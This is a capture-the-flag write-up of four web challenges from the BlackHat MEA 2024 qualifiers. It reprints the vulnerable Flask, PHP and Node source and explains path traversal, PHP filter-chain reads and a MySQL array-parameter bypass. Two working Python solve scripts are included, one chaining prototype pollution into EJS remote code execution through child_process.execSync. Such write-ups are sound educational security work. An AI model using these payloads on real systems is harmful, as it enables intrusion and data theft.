Published on

BlackHat MEA 2024 Qualifications CTF Writeup

Authors
  • avatar
    Name
    Amr Zaki
    Twitter

Hello there, this is Amr Zaki also known as z4ki. I participated with my team 'Br00tf0rs3rs' in this year's BlackHat MEA Qualifications CTF and managed to solve all web challenges. It was pretty amusing and fun to do so let's dive right in.

Watermelon - Easy 120 points

We are provided with the source code, and it's only one python file with along with the docker files.

app.py
from flask import Flask, request, jsonify, session, send_file
from functools import wraps
from flask_sqlalchemy import SQLAlchemy
import os, secrets
from werkzeug.utils import secure_filename

app = Flask(__name__)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///db.db' 
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
app.config['SECRET_KEY'] = secrets.token_hex(20)
app.config['UPLOAD_FOLDER'] = 'files'

db = SQLAlchemy(app)

class User(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(80), unique=True, nullable=False)
    password = db.Column(db.String(120), nullable=False)

class File(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    filename = db.Column(db.String(255), nullable=False)
    filepath = db.Column(db.String(255), nullable=False)
    uploaded_at = db.Column(db.DateTime, nullable=False, default=db.func.current_timestamp())
    user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)

    user = db.relationship('User', backref=db.backref('files', lazy=True))

def create_admin_user():
    admin_user = User.query.filter_by(username='admin').first()
    if not admin_user:
        admin_user = User(username='admin', password= secrets.token_hex(20))
        db.session.add(admin_user)
        db.session.commit()
        print("Admin user created.")
    else:
        print("Admin user already exists.")

with app.app_context():
    db.create_all()
    create_admin_user()

def login_required(f):
    @wraps(f)
    def decorated_function(*args, **kwargs):
        if 'username' not in session or 'user_id' not in session:
            return jsonify({"Error": "Unauthorized access"}), 401
        return f(*args, **kwargs)
    return decorated_function

def admin_required(f):
    @wraps(f)
    def decorated_function(*args, **kwargs):
        if 'username' not in session or 'user_id' not in session or not session['username']=='admin':
            return jsonify({"Error": "Unauthorized access"}), 401
        return f(*args, **kwargs)
    return decorated_function

@app.route('/')
def index():
    return 'Welcome to my file sharing API'

@app.post("/register")
def register():
    if not request.json or not "username" in request.json or not "password" in request.json:
        return jsonify({"Error": "Please fill all fields"}), 400
    
    username = request.json['username']
    password = request.json['password']

    if User.query.filter_by(username=username).first():
        return jsonify({"Error": "Username already exists"}), 409

    new_user = User(username=username, password=password)
    db.session.add(new_user)
    db.session.commit()

    return jsonify({"Message": "User registered successfully"}), 201

@app.post("/login")
def login():
    if not request.json or not "username" in request.json or not "password" in request.json:
        return jsonify({"Error": "Please fill all fields"}), 400
    
    username = request.json['username']
    password = request.json['password']

    user = User.query.filter_by(username=username, password=password).first()
    if not user:
        return jsonify({"Error": "Invalid username or password"}), 401
    
    session['user_id'] = user.id
    session['username'] = user.username
    return jsonify({"Message": "Login successful"}), 200

@app.get('/profile')
@login_required
def profile():
    return jsonify({"username": session['username'], "user_id": session['user_id']})

@app.get('/files')
@login_required
def list_files():
    user_id = session.get('user_id')
    files = File.query.filter_by(user_id=user_id).all()
    file_list = [{"id": file.id, "filename": file.filename, "filepath": file.filepath, "uploaded_at": file.uploaded_at} for file in files]
    return jsonify({"files": file_list}), 200


@app.route("/upload", methods=["POST"])
@login_required
def upload_file():
    if 'file' not in request.files:
        return jsonify({"Error": "No file part"}), 400
    
    file = request.files['file']
    if file.filename == '':
        return jsonify({"Error": "No selected file"}), 400
    
    user_id = session.get('user_id')
    if file:
        blocked = ["proc", "self", "environ", "env"]
        filename = file.filename

        if filename in blocked:
            return jsonify({"Error":"Why?"})

        user_dir = os.path.join(app.config['UPLOAD_FOLDER'], str(user_id))
        os.makedirs(user_dir, exist_ok=True)
        

        file_path = os.path.join(user_dir, filename)

        file.save(f"{user_dir}/{secure_filename(filename)}")
        

        new_file = File(filename=secure_filename(filename), filepath=file_path, user_id=user_id)
        db.session.add(new_file)
        db.session.commit()
        
        return jsonify({"Message": "File uploaded successfully", "file_path": file_path}), 201

    return jsonify({"Error": "File upload failed"}), 500

@app.route("/file/<int:file_id>", methods=["GET"])
@login_required  
def view_file(file_id):
    user_id = session.get('user_id')
    print(user_id)
    file = File.query.filter_by(id=file_id, user_id=user_id).first()
    print(file)
    if file is None:
        return jsonify({"Error": "File not found or unauthorized access"}), 404
    
    try:
        return send_file(file.filepath, as_attachment=True)
    except Exception as e:
        return jsonify({"Error": str(e)}), 500


@app.get('/admin')
@admin_required
def admin():
    return os.getenv("FLAG","BHFlagY{testing_flag}")

if __name__ == '__main__':
    app.run(host='0.0.0.0')

Starting backwards, we need to get to the /admin endpoint to get the flag or we can get it by reading the /proc/self/environ file. So basically, we need to escalate our privileges to admin or have an LFI vulnerability. So let's start searching for a way to do either.

Looking at the Database model, there isn't a role set for users, only the unique username admin differentiates the admin user from normal users with the function admin_required(), and we can't create another account with the same name because of unique=True in the User model.

Notice that the application is using flask session cookies, but with a random secret so we won't be able to crack it but if we can get that secret somehow, we would be able to forge the admin session token.

Let's run the challenge locally and see its functionalities. image There isn't any UI other that that welcome message, so I will be working through burp. First let's register an account and login. image image Now, we can access the /profile and /files endpoints. image image Notice we don't have any files because we didn't upload any file yet.

Since there isn't any HTML, I created an HTML form to upload a file to the application.

upload.html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>File Upload Form</title>
</head>
<body>
    <h1>Upload a File</h1>
    <form action="http://127.0.0.1:5000/upload" method="post" enctype="multipart/form-data">
        <label for="fileInput">Choose a file:</label>
        <input type="file" id="fileInput" name="file" required>
        <button type="submit">Upload</button>
    </form>
</body>
</html>
I uploaded a simple txt file and intercepted the request with burp. image We can access this file by accessing the /files endpoint and getting the file id, which is 1 and then read it using /file/1. image image Looking at the upload function code, we notice that the secure_filename function is used on the filename variable and not the file_path. Also the function that reads the files, gets the file_path from the database which isn't sanitized. So, we can use path traversal sequence to read the environ file but that won't work, because environ is not readable. Instead we can read the instance source code in which we can find the secret for the token. image image Now we can forge the admin cookie and get the flag. image image

Free Flag - Easy 110 points

I got the first blood on this challenge and it was a nice one! As alwayas we are provided with the application source code, this time it was php.

index.php
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Free Flag</title>
</head>
<body>
    
<?php
function isRateLimited($limitTime = 1) {
    $ipAddress=$_SERVER['REMOTE_ADDR'];
    $filename = sys_get_temp_dir() . "/rate_limit_" . md5($ipAddress);
    $lastRequestTime = @file_get_contents($filename);
    
    if ($lastRequestTime !== false && (time() - $lastRequestTime) < $limitTime) {
        return true;
    }

    file_put_contents($filename, time());
    return false;
}

    if(isset($_POST['file']))
    {
        if(isRateLimited())
        {
            die("Limited 1 req per second");
        }
        $file = $_POST['file'];
        if(substr(file_get_contents($file),0,5) !== "<?php" && substr(file_get_contents($file),0,5) !== "<html") # i will let you only read my source haha
        {
            die("catched");
        }
        else
        {
            echo file_get_contents($file);
        }
    }
?>
</body>
</html>

The code is quite simple, there is a rate limiting function of 1 request per second, and we can read any file that starts with <?php OR <html. The flag file is in /flag.txt as stated in the provided entry-point.sh file.

entry-point.sh
#!/bin/bash
echo "$DYN_FLAG" > /flag.txt
unset DYN_FLAG
source /etc/apache2/envvars
export APACHE_LOG_DIR=/tmp
(&>/dev/null /usr/local/bin/apache2-foreground)&
socat - TCP:127.0.0.1:9000,forever

Once I saw that our file must start with a specific sequence of bytes, i.e. <?php I instantly thought of this awesome blog which explains the attack much more better than I would do.

The blog introduced a tool called wrapwrap which creats a php filter chain that adds a suffix and a prefix to any file you want to read. Let's clone the tool and use it.

The tool is very simple, we just need to supply the file we want to read, prefix, suffix, and how many bytes to read. image Copying the chain.txt content and pasting it in the file POST parameter, we get the flag easily. image

Notey - Medium 180 Points

This challenge was a lot of fun aswell, we were provided with 3 code files.

index.js
const express = require('express');
const bodyParser = require('body-parser');
const crypto=require('crypto');
var session = require('express-session');
const db = require('./database');
const middleware = require('./middlewares');

const app = express();

app.use(bodyParser.urlencoded({
extended: true
}))

app.use(session({
    secret: crypto.randomBytes(32).toString("hex"),
    resave: true,
    saveUninitialized: true
}));

app.get('/',(req,res)=>{
    res.send("Welcome")
})

app.get('/profile', middleware.auth, (req, res) => {
    const username = req.session.username;

    db.getNotesByUsername(username, (err, notes) => {
    if (err) {
        return res.status(500).json({ error: 'Internal Server Error' });
    }
    res.json(notes);
    });
});

app.get('/viewNote', middleware.auth, (req, res) => {
    const { note_id,note_secret } = req.query;

    if (note_id && note_secret){
        db.getNoteById(note_id, note_secret, (err, notes) => {
            if (err) {
            return res.status(500).json({ error: 'Internal Server Error' });
            }
            return res.json(notes);
        });
    }
    else
    {
        return res.status(400).json({"Error":"Missing required data"});
    }
});

app.post('/addNote', middleware.auth, middleware.addNote, (req, res) => {
    const { content, note_secret } = req.body;
        db.addNote(req.session.username, content, note_secret, (err, results) => {
            if (err) {
            return res.status(500).json({ error: 'Internal Server Error' });
            }
    
            if (results) {
            return res.json({ message: 'Note added successful' });
            } else {
            return res.status(409).json({ error: 'Something went wrong' });
            }
        });
});

app.post('/login', middleware.login, (req, res) => {
const { username, password } = req.body;

    db.login_user(username, password, (err, results) => {
        if (err) {
        console.log(err);
        return res.status(500).json({ error: 'Internal Server Error' });
        }

        if (results.length > 0) {
        req.session.username = username;
        return res.json({ message: 'Login successful' });
        } else {
        return res.status(401).json({ error: 'Invalid username or password' });
        }
    });
});

app.post('/register', middleware.login, (req, res) => {
const { username, password } = req.body;

    db.register_user(username, password, (err, results) => {
        if (err) {
        return res.status(500).json({ error: 'Internal Server Error' });
        }

        if (results) {
        return res.json({ message: 'Registration successful' });
        } else {
        return res.status(409).json({ error: 'Username already exists' });
        }
    });
});

db.wait().then(() => {
    db.insertAdminUserOnce((err, results) => {
        if (err) {
            console.error('Error:', err);
        } else {
            db.insertAdminNoteOnce((err, results) => {
                if (err) {
                    console.error('Error:', err);
                } else {
                    app.listen(3000, () => {
                        console.log('Server started on http://localhost:3000');
                    });
                }
            });
        }
    });
});
database.js
const mysql = require('mysql');
const crypto=require('crypto');


const pool = mysql.createPool({
  host: '127.0.0.1',
  user: 'ctf',
  password: 'redacted',
  database: 'CTF',
  waitForConnections: true,
  connectionLimit: 10,
  queueLimit: 0
});

// One liner to wait a second
async function wait() {
  await new Promise(r => setTimeout(r, 1000));
}

function insertAdminUserOnce(callback) {
  const checkUserQuery = 'SELECT COUNT(*) AS count FROM users WHERE username = ?';
  const insertUserQuery = 'INSERT INTO users (username, password) VALUES (?, ?)';
  const username = 'admin';
  const password = crypto.randomBytes(32).toString("hex");

  pool.query(checkUserQuery, [username], (err, results) => {
    if (err) {
      console.error('Error executing query:', err);
      callback(err, null);
      return;
    }

    const userCount = results[0].count;

    if (userCount === 0) {
      pool.query(insertUserQuery, [username, password], (err, results) => {
        if (err) {
          console.error('Error executing query:', err);
          callback(err, null);
          return;
        }
        console.log(`Admin user inserted successfully with this passwored ${password}.`);
        callback(null, results);
      });
    } else {
      console.log('Admin user already exists. No insertion needed.');
      callback(null, null);
    }
  });
}

function insertAdminNoteOnce(callback) {
  const checkNoteQuery = 'SELECT COUNT(*) AS count FROM notes WHERE username = "admin"';
  const insertNoteQuery = 'INSERT INTO notes(username,note,secret)values(?,?,?)';
  const flag = process.env.DYN_FLAG || "placeholder";
  const secret = crypto.randomBytes(32).toString("hex");

  pool.query(checkNoteQuery, [], (err, results) => {
    if (err) {
      console.error('Error executing query:', err);
      callback(err, null);
      return;
    }

    const NoteCount = results[0].count;

    if (NoteCount === 0) {
      pool.query(insertNoteQuery, ["admin", flag, secret], (err, results) => {
        if (err) {
          console.error('Error executing query:', err);
          callback(err, null);
          return;
        }
        console.log(`Admin Note inserted successfully with this secret ${secret}`);
        callback(null, results);
      });
    } else {
      console.log('Admin Note already exists. No insertion needed.');
      callback(null, null);
    }
  });
}


function login_user(username,password,callback){

  const query = 'Select * from users where username = ? and password = ?';
  
  pool.query(query, [username,password], (err, results) => {
    if (err) {
      console.error('Error executing query:', err);
      callback(err, null);
      return;
    }
    callback(null, results);
  });
}

function register_user(username, password, callback) {
  const checkUserQuery = 'SELECT COUNT(*) AS count FROM users WHERE username = ?';
  const insertUserQuery = 'INSERT INTO users (username, password) VALUES (?, ?)';

  pool.query(checkUserQuery, [username], (err, results) => {
    if (err) {
      console.error('Error executing query:', err);
      callback(err, null);
      return;
    }

    const userCount = results[0].count;

    if (userCount === 0) {
      pool.query(insertUserQuery, [username, password], (err, results) => {
        if (err) {
          console.error('Error executing query:', err);
          callback(err, null);
          return;
        }
        console.log('User registered successfully.');
        callback(null, results);
      });
    } else {
      console.log('Username already exists.');
      callback(null, null);
    }
  });
}

function getNotesByUsername(username, callback) {
  const query = 'SELECT note_id,username,note FROM notes WHERE username = ?';
  pool.query(query, [username], (err, results) => {
    if (err) {
      console.error('Error executing query:', err);
      callback(err, null);
      return;
    }
    callback(null, results);
  });
}

function getNoteById(noteId, secret, callback) {
  const query = 'SELECT note_id,username,note FROM notes WHERE note_id = ? and secret = ?';
  console.log(noteId,secret);
  pool.query(query, [noteId,secret], (err, results) => {
    if (err) {
      console.error('Error executing query:', err);
      callback(err, null);
      return;
    }
    callback(null, results);
  });
}

function addNote(username, content, secret, callback) {
  const query = 'Insert into notes(username,secret,note)values(?,?,?)';
  pool.query(query, [username, secret, content], (err, results) => {
    if (err) {
      console.error('Error executing query:', err);
      callback(err, null);
      return;
    }
    callback(null, results);
  });
}

module.exports = {
  getNotesByUsername, login_user, register_user, getNoteById, addNote, wait, insertAdminNoteOnce, insertAdminUserOnce
};
middlewares.js
const auth = (req, res, next) => {
    ssn = req.session
    if (ssn.username) {
        return next();
    } else {
        return res.status(401).send('Authentication required.');
    }
};


const login = (req,res,next) =>{
    const {username,password} = req.body;
    if ( !username || ! password )
    {
        return res.status(400).send("Please fill all fields");
    }
    else if(typeof username !== "string" || typeof password !== "string")
    {
        return res.status(400).send("Wrong data format");
    }
    next();
}

const addNote = (req,res,next) =>{
    const { content, note_secret } = req.body;
    if ( !content || ! note_secret )
    {
        return res.status(400).send("Please fill all fields");
    }
    else if(typeof content !== "string" || typeof note_secret !== "string")
    {
        return res.status(400).send("Wrong data format");
    }
    else if( !(content.length > 0 && content.length < 255) ||  !( note_secret.length >=8 && note_secret.length < 255) )
    {
        return res.status(400).send("Wrong data length");
    }
    next();
}

module.exports ={
    auth, login, addNote
};

Starting backwards as alwayas, we want to read the admin Note. To do so, we need to either log in as admin, or provide the secret to the /viewNote endpoint with the note id being 66 as stated in init.db file

--
-- Database: `CTF`
--
CREATE DATABASE IF NOT EXISTS `CTF` DEFAULT CHARACTER SET latin1 COLLATE latin1_swedish_ci;
USE `CTF`;

-- --------------------------------------------------------

--
-- Table structure for table `users`
--

DROP TABLE IF EXISTS `users`;
CREATE TABLE IF NOT EXISTS `users` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `username` varchar(255) NOT NULL UNIQUE,
  `password` varchar(255) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB  DEFAULT CHARSET=latin1 AUTO_INCREMENT=66 ;

CREATE TABLE IF NOT EXISTS `notes` (
  `note_id` int(11) NOT NULL AUTO_INCREMENT,
  `username` varchar(255) NOT NULL,
  `secret` varchar(255) NOT NULL,
  `note` varchar(255) NOT NULL,
  PRIMARY KEY (`note_id`)
) ENGINE=InnoDB  DEFAULT CHARSET=latin1 AUTO_INCREMENT=66 ;

As we can see, the auth middleware function is called almost on every endpoint. It only checks that the session cookie, has a username property, it doesn't care which username it is.

So, I started the challenge locally, registered myself as a normal user, and tried to read the admin note, since I know its id is always 66 and I can read the admin secret in the console or in the database. image image Notice that we can read the admin note if we know the note secret. Since we don't know the secret and there's no way to get the instance admin secret, I tried to poke with the note_secret query string.
The first thing I did was try and send the note_secret as an array, to my surprise, something weird happend in my console. image image The error was very verbose, saying there were no column named test, so I tried to send a known column and it worked but nothing was returened. image Back to the error we encountered, we could see the sql query used,
SELECT note_id,username,note FROM notes WHERE note_id = '66' and secret = `test` = '3700fc182cc5e078f9f81f2296f96a6fca1b815965f22064e6e716d8cc144a12'
Whatever we put in the note_secret query, gets treated as a column and is checked whether it equals the secret column or not. So if we sent the secret column itself, it would evaluate to true and if 2 variables are equals it evaluates to 1, so we will send 1 as the value of the query string. image Boom! we could read the note, without knowing the secret. Trying this on the live instance, it doesn't work because it is jailed and the sessions are deleted within seconds, but we can solve this issue by writing the exploit in python code which is much faster than us.
solve.py
import requests

# URLs
url_instance = "http://abb46ee54d3d68550bd7f.playat.flagyard.com/"
url_local = "http://127.0.0.1:3000/"

# Data for the login request
data = {"username": "zaki", "password": "1234"}
requests.post(url_instance + "register", data=data)
# Create a session to reuse the connection
with requests.Session() as session:
    # Login request to obtain the session cookie
    login_req = session.post(url_instance + "login", data=data)

    # Check if login was successful and cookie is present
    if 'connect.sid' in login_req.cookies:
        # Reuse session cookie for subsequent requests
        sid = login_req.cookies['connect.sid']
        cookie = {"connect.sid": sid}

        # Profile request with reused session
        profile_req = session.get(url_instance + "viewNote?note_id=66&note_secret[secret]=1", cookies=cookie)

        # Output the response text
        print(profile_req.text)
    else:
        print("Login failed or no session cookie received.")
image The flag is returened.

You may have to run the solve.py multiple times for it to retrun the flag


Fastest Delivery System - Hard 270 Points

For the last web challenge in this CTF, we were provided the source code as well.

app.js
const express = require('express');
const bodyParser = require('body-parser');
const session = require('express-session');
const crypto = require("crypto");

const app = express();
const PORT = 3000;

// In-memory data storage
let users = {};
let orders = {};
let addresses = {};

// Inserting admin user
users['admin'] = { password: crypto.randomBytes(16).toString('hex'), orders: [], address: '' };

// Middleware
app.use(bodyParser.urlencoded({ extended: false }));
app.set('view engine', 'ejs');
app.use(session({
    secret: "secret",
    resave: false,
    saveUninitialized: true
}));

// Routes
app.get('/', (req, res) => {
    res.render('index', { user: req.session.user });
});
app.get('/login', (req, res) => {
    res.render('login');
});

app.post('/login', (req, res) => {
    const { username, password } = req.body;
    const user = users[username];

    if (user && user.password === password) {
        req.session.user = { username };
        res.redirect('/');
    } else {
        res.send('Invalid credentials. <a href="/login">Try again</a>.');
    }
});

app.get('/logout', (req, res) => {
    req.session.destroy();
    res.redirect('/');
});

app.get('/register', (req, res) => {
    res.render('register');
});

app.post('/register', (req, res) => {
    const { username, password } = req.body;

    if (Object.prototype.hasOwnProperty.call(users, username)) {
        res.send('Username already exists. <a href="/register">Try a different username</a>.');
    } else {
        users[username] = { password, orders: [], address: '' };
        req.session.user = { username };
        res.redirect(`/address`);
    }
});

app.get('/address', (req, res) => {
    const { user } = req.session;
    if (user && users[user.username]) {
        res.render('address', { username: user.username });
    } else {
        res.redirect('/register');
    }
});

app.post('/address', (req, res) => {
    const { user } = req.session;
    const { addressId, Fulladdress } = req.body;

    if (user && users[user.username]) {
        addresses[user.username][addressId] = Fulladdress;
        users[user.username].address = addressId;
        console.log(''.client);
        console.log(''.escapeFunction);
        res.redirect('/login');
    } else {
        res.redirect('/register');
    }
});



app.get('/order', (req, res) => {
    if (req.session.user) {
        res.render('order');
    } else {
        res.redirect('/login');
    }
});

app.post('/order', (req, res) => {
    if (req.session.user) {
        const { item, quantity } = req.body;
        const orderId = `order-${Date.now()}`;
        orders[orderId] = { item, quantity, username: req.session.user.username };
        users[req.session.user.username].orders.push(orderId);
        res.redirect('/');
    } else {
        res.redirect('/login');
    }
});

app.get('/admin', (req, res) => {
    if (req.session.user && req.session.user.username === 'admin') {
        const allOrders = Object.keys(orders).map(orderId => ({
            ...orders[orderId],
            orderId
        }));
        res.render('admin', { orders: allOrders });
    } else {
        res.redirect('/');
    }
});

// Start server
app.listen(PORT, '0.0.0.0', () => {
    console.log(`Server is running on http://localhost:${PORT}`);
});
package.json
{
    "name": "food-delivery-service",
    "version": "1.0.0",
    "description": "",
    "main": "app.js",
    "scripts": {
      "start": "node app.js"
    },
    "dependencies": {
      "express": "^4.18.2",
      "body-parser": "^1.20.1",
      "ejs":"^3.1.9",
      "express-session":"^1.18.0"
    }
  }
DockerFile
# Use Node.js base image
FROM node:18

RUN apt-get update && apt-get install curl
# Set the working directory inside the container
WORKDIR /usr/src/app

# Copy package.json and package-lock.json to the working directory
COPY . ./

RUN echo "$FLAG" > '/tmp/flag_'$(cat /dev/urandom | tr -cd 'a-f0-9' | head -c 32).txt
RUN export FLAG='none'

RUN npm init -y
# Install the dependencies inside the container
RUN npm ci

# Expose the application port
EXPOSE 3000

# Command to run the application
CMD ["node", "app.js"]

We also have the views directory, but it isn't relevant.

As we can see the flag file is randomly generated, so it's obvious to us that we have to exploit a Remote Code Execution vulnerability. The first thing I did, was to search for the dependencies used and see if one of them has a recent RCE vulnerability, and there was!

According to Snyk the ejs < v3.1.7 are vulnerable to RCE, with the POC showing. Sadly our challenge is using version 3.1.9 so let's search more deeply.

After some searching I found this CVE with the POC. As stated in the blog post, we must have a Prototype Pollution vulnerability first in the application. So, let's see if we do.

Right away, the /address POST route caught my eye

addresses[user.username][addressId] = Fulladdress;
If our username is __proto__ we have Prototype Pollution in the application. Let's test whether the PP is working first before we try the POC. image image And it works!

So following the POC, I created a python script to solve the challenge, because the remote instance had a Jail setup like the previous challenge.

solve.py
import requests as r, time

instance_url = "http://a1e28e54fa42ef0b56dea.playat.flagyard.com/"

# Register
data = {"username":"__proto__", "password":"123"}
req = r.post(instance_url + "register", data=data, allow_redirects=False)
sid = req.cookies['connect.sid']
cookie = {"connect.sid": sid}
# Pollute - 1
data = {"addressId":"client", "Fulladdress":"1"}
req = r.post(instance_url + "address", data=data, cookies=cookie, allow_redirects=False)
data = {"addressId":"escapeFunction", "Fulladdress":"process.mainModule.require('fs').writeFileSync('/tmp/zaki.js', 'function RCE(key){const result=process.mainModule.require(\"child_process\").execSync(`${key}`);throw new Error(`${result.toString()}`);}module.exports=RCE;')"}
time.sleep(0.05)
req = r.post(instance_url + "address", data=data, cookies=cookie, allow_redirects=False)
# Validate the pollution
req = r.get(instance_url, cookies=cookie, allow_redirects=False)
print(req.text)
# Pollute - 2
data = {"addressId":"escapeFunction", "Fulladdress":"process.mainModule.require('/tmp/zaki.js')('cat /tmp/flag*');"}
req = r.post(instance_url + "address", data=data, cookies=cookie, allow_redirects=False)
# Validate the pollution
req = r.get(instance_url, cookies=cookie, allow_redirects=False)
print(req.text)
image

You may have to run the solve.py multiple times for it to retrun the flag


That is it! It was so fun to do this CTF, and I learned a new thing or two. As always feedback is appreciated and don't hesistate to reach out!